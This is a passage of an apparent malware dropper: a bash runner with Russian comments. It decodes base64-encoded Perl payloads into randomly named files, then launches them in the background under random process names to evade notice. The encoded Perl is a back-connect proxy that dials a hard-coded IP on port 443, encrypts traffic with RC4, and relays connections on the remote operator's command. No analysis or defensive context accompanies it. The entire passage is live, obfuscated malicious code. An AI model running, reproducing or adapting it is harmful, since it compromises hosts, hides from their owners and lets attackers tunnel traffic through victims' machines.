fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #12 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #12 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 13 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #13 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #13 (Бинарный) -> 